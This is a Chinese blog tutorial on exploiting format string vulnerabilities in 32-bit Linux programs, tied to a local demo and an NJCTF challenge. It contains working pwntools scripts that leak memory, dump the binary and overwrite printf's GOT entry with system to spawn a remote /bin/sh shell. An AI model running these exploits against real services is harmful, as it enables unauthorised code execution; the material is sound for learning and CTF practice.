Linux 系统下格式化字符串利用研究

发布于 2022-06-12 16:08:38 字数 9436 浏览 1291 评论 0

格式化字符串漏洞现在网上有很多相关的文章,原理啥的随便搜搜都是,这篇文章就对格式化字符串漏洞如何利用进行研究。格式化字符串危害最大的就两点,一点是 leak memory,一点就是可以在内存中写入数据,简单来说就是格式化字符串可以进行内存地址的读写。

Leak Memory

先来对一个简单的 Demo 进行研究:

// fmt_test.c

int main(int argc, char * argv[]) {
    char a[1024];
    memset(a, '\0', 1024);
    read(0, a, 1024);
    printf(a);
    return 0;
}

// $ gcc fmt_test.c -o fmt_test -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test

假设我们不知道该程序的源码,连 bin 都没有,只是能访问一个这样的应用:

$ nc 127.0.0.1 10001                       
aaaaaaa  
aaaaaaa

在这种情况下,就是去尝试各种漏洞的攻击方法,比如栈溢出漏洞就输入一堆字符,比如 100*"a" ,而格式化字符串漏洞是使用 %x 这类格式化字符串去尝试,比如:

$ nc 127.0.0.1 10001
%x
2c51cce0

得到了这样的返回就说明该应用存在格式化字符串漏洞了,因为没有源代码或 bin,并不知道要往哪写啥数据,所以我们可以先 leak memory,获取该应用的源码

leak memory 利用到的是 %s 格式化字符,它的作用是输出对应参数指向地址的值,也就是说它对应的参数是一个指针,而我们可以得到该指针对应内存数据

我们还可以继续改进该格式化字符, %2$s ,它表示的意义是输出第二个参数指向的内存的值,那么我们怎么通过上面的格式化字符获取我们想要的内存的地址呢?这就涉及第三个知识点。

格式化字符串漏洞是怎么产生的?首先要有一个函数,比如 read , 比如 gets 获取用户输入的数据储存到局部变量中,然后直接把该变量作为 printf 这类函数的第一个参数值

其中局部变量是储存在栈中,而且是储存在栈的高位地址上,这里具体细节可以去读读汇编代码,简单的说,进入到一个函数中后,会 sub rsp,xxx 一段局部变量的栈空间,然后函数的参数啥的都是push到局部变量的栈空间之上。

理解了上述的知识点后,我们可以输入想leak数据的内存地址,然后爆破出我们输入数据的位置,不就能leak相应地址的内存的数据了么

比如我输入 ABCD%2$x ,如果输出 ABCD 十六进制值,则说明第二个参数为我们输入的数据的起始位置。

$ nc 127.0.0.1 10001
ABCD%2$x  
ABCD400

$ nc 127.0.0.1 10001
ABCD%3$x  
ABCD174

$ nc 127.0.0.1 10001
ABCD%4$x  
ABCD174

....

$ nc 127.0.0.1 10001
ABCD%11$x  
ABCD44434241

这样我们就能得到 payload:addr + %11$s , 返回值为 addr 指向的内存的字符串,直到 \0 为止,这里我们可以进行测试下(我们现在是处于研究状态,虽然假想没 bin,但实际我们是有的,所以可以进行测试来证明我们的结论)。

$ objdum -d fmt_test -M intel

....

080485c4 <_fini>:  
 80485c4:    53                      push   ebx
 80485c5:    83 ec 08                sub    esp,0x8
 80485c8:    e8 33 fe ff ff          call   8048400 <__x86.get_pc_thunk.bx>
 80485cd:    81 c3 33 1a 00 00       add    ebx,0x1a33
 80485d3:    83 c4 08                add    esp,0x8
 80485d6:    5b                      pop    ebx
 80485d7:    c3                      ret    

$ py                          
>>> from pwn import *

>>> p = remote("127.0.0.1",10001)
[x] Opening connection to 127.0.0.1 on port 10001
[x] Opening connection to 127.0.0.1 on port 10001: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 10001: Done

>>> p.send(p32(0x80485c4)+"%11$s")

>>> p.recv()
'\xc4\x85\x04\x08S\x83\xec\x08\xe83\xfe\xff\xff\x81\xc33\x1a'

>>>

从上面的测试代码中可以证明上述所讲的结论,我们成功 leak 出相应内存的数据(直到 \x00 为止),上面爆破出来的 11 我们称为 offset,pwntools 有自动化代码可以算出 offset:

# fmt_test.py
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

def exec_fmt(payload):  
    p = process("a.out")
    p.sendline(payload)
    info = p.recv()
    p.close()
    return info

autofmt = FmtStr(exec_fmt)  
print autofmt.offset

我们可以看看其中一条 DEBUG 数据和结果:

$ python fmt_test.py

...

[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0x22 bytes:
    'aaaabaaacaaadaaaeaaaSTART%11$pEND\n'
[DEBUG] Received 0x27 bytes:
    'aaaabaaacaaadaaaeaaaSTART0x61616161END\n'
[*] Stopped program './a.out'
[*] Found format string offset: 11
11

测试完了,现在又恢复到没 bin 状态,有了前面的基础,要 dump 出整个 bin 就很容易了,在 Linux 下,不开 PIE 保护时,32 位的 ELF 的默认首地址为 0x8048000 ,如果开启了 PIE 保护,则需要根据 ELF 的魔术头 7f 45 4c 46 进行爆破,内存地址一页一页的往前翻直到翻到 ELF 的魔术头为止

但是这时候还存在一个问题,比如我的 Payload 为:

p = remote("127.0.0.1",10001)  
p.send(p32(0x8048000)+"%11$s")  
print p.recv()

得到的结果是

$ python fmt_test.py
...
Traceback (most recent call last):  
  ...
EOFError  
...

发生了 EOFError 这是因为

>>> p32(0x8048000)
'\x00\x80\x04\x08'

printf 根据 \x00 判断结尾,所以我们需要更改下 payload

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'  
p = remote("127.0.0.1",10001)  
p.send("%13$saaa" + p32(0x8048000))  
print p.recv()

可以成功 dump 数据了:

$ python fmt_test.py
[+] Starting local process './a.out' argv=['a.out'] : Done
[DEBUG] Sent 0xc bytes:
    00000000  25 31 33 24  73 61 61 61  00 80 04 08               │%13$│saaa│····││
    0000000c
[DEBUG] Received 0xa bytes:
    00000000  7f 45 4c 46  01 01 01 61  61 61                     │·ELF│···a│aa│
    0000000a

原理都懂了,可以写 payload 去 dump 整个 bin 回来了

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'  
f = open("source.bin", "ab+")

begin = 0x8048000  
offset = 0

while True:  
    addr = begin + offset
    p = process("a.out")
    p.sendline("%13$saaa" + p32(addr))
    try:
        info = p.recvuntil("aaa")[:-3]
    except EOFError:
        print offset
        break
    info += "\x00"
    p.close()
    offset += len(info)
    f.write(info)
    f.flush()

f.close()

内存数据 dump 下来后,虽然跟原始 bin 有很大不同,也运行不了,但是丢到 ida 中任然是可以看的:

Write

二进制漏洞的最终目的都是要 getshell,所以在我们获取到 bin 后,接下来就是要 getshell 了,不过之前的 demo 过于简单,没有什么好的 getshell 的方法,对 demo 进行下修改。

// fmt_test2.c
#include <stdio.h>

int main(int argc, char * argv[]) {
    char a[1024];
    while(1) 
    {
        memset(a, '\0', 1024);
        read(0, a, 1024);
        printf(a);
        fflush(stdout);
    }
    return 0;
}

// $ gcc fmt_test2.c -o fmt_test2 -m32
// $ socat TCP4-LISTEN:10001,fork EXEC:./fmt_test2

和之前的 demo 比,多了循环,不像之前一样一下就退出了,在这种情况下,我们可以很容易只依靠格式化字符串漏洞进行攻击。

利用的逻辑很简单,根据之前的知识点,leak 出 bin,然后获取到 printf 函数的got表地址,然后把这个地址的值改为 system 函数的地址,在下次循环的时候,输入 /bin/sh ,则 printf(a); 实际执行的却是 system('/bin/sh')

利用过程中,第一个知识点,dump 内存数据,也就是上面的内容,得到 bin 后,可以很容易的获取到got表信息

接下来第二个知识点就是获取 system 函数的地址,不过却需要爆破跑

每次我首先获取 printf 函数的地址,然后再根据自己机子上 printfsystem 函数之间的差值估测一个大概范围进行爆破,得到的数据和 system 函数中的一些特征数据进行对比,判断是否是system函数

这一步跳过,现在假设自己有libc库,我本地的libc中, printfsystem 函数的差值为: 59600

最后一步,就是通过格式化字符串内容进行写内存了,覆盖got表中的值

这里我们可以使用 pwntools 神器:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'  
printf_got = 0x804a010  
system_add = 0xaaaaaaaa

def exec_fmt(payload):  
    p.sendline(payload)
    return p.recv()

p = remote("127.0.0.1", 10001)  
autofmt = FmtStr(exec_fmt)  
payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})

上述代码中 autofmt = FmtStr(exec_fmt) 到这行的内容之前都讲过,接下来就是 fmtstr_payload 函数,这个函数的作用是用来生成格式化字符串漏洞写内存的 payload,上述代码的第一个参数为 offset 偏移,第二个参数是一个字典,意义是往 key 的地址,写入 value 的值,也就是往 0x804a010 地址写入数据 0xaaaaaaaa

我们来看看输出的 payload:

...
>>> payload = fmtstr_payload(autofmt.offset, {printf_got: system_add})
>>> payload
'\x10\xa0\x04\x08\x11\xa0\x04\x08\x12\xa0\x04\x08\x13\xa0\x04\x08%154c%11$hhn%12$hhn%13$hhn%14$hhn'

开头 16bytes 是4个地址:

0x0804a010  
0x0804a011  
0x0804a012  
0x8004a012

然后是格式化字符串: %154c,输出 hex(154)==0x9a bytes 的字符,再加上之前的 16bytes 地址,一共有 0xaa bytes,第三部分也是格式化字符串: %11$hhn%12$hhn%13$hhn%14$hhn ,往第 11, 12, 13, 14 个参数指向的地址写入一个值,该值等于之前输出的 byte 数,在这里就是 0xaa,而偏移值为11,所以第11个参数为 payload 头,也就是 0x0804a010 ,然后以此类推。

就是通过上述逻辑往相应地址写入相应值的,所以可以写出 exp:

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

p = remote("127.0.0.1", 10001)

# 获取printf的libc地址
printf_got = 0x804a010  
leak_payload = "b%13$saa" + p32(printf_got)

p.sendline(leak_payload)

p.recvuntil("b")  
info = p.recvuntil("aa")[:-2]  
print info.encode('hex')

# 计算system的libc地址
print_add = u32(info[:4])  
p_s_offset = 59600     # addr(printf) - addr(system) 
system_add = print_add - p_s_offset

# 生成payload
payload = fmtstr_payload(11, {printf_got: system_add})

# 发送payload
p.sendline(payload)  
p.sendline('/bin/sh')  
p.interactive()

总结

在前几天的 NJCTF 中有一个 pingme 的 PWN 题就是没有源码的格式化字符串漏洞,二进制文件我拖下来了在我的 Github <sup>2</sup> 上,有兴趣的可以自己搭个环境试试看,该题就是只有一个远程可访问的服务,没有 bin 和 libc,不过这题的 libc 可以通过别的题获取到,所以也可以算是已知 libc 的题,思路同我上面 demo 所讲。

参考

  1. https://github.com/Hcamael/CTF_repo/tree/master/NJCTF%202017/Pwn200(pingme))
  2. http://python3-pwntools.readthedocs.io/en/latest/fmtstr.html

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

JSmiles

生命进入颠沛而奔忙的本质状态,并将以不断告别和相遇的陈旧方式继续下去。

0 文章
0 评论
84961 人气
更多

推荐作者

醉城メ夜风

文章 0 评论 0

远昼

文章 0 评论 0

平生欢

文章 0 评论 0

微凉

文章 0 评论 0

Honwey

文章 0 评论 0

qq_ikhFfg

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文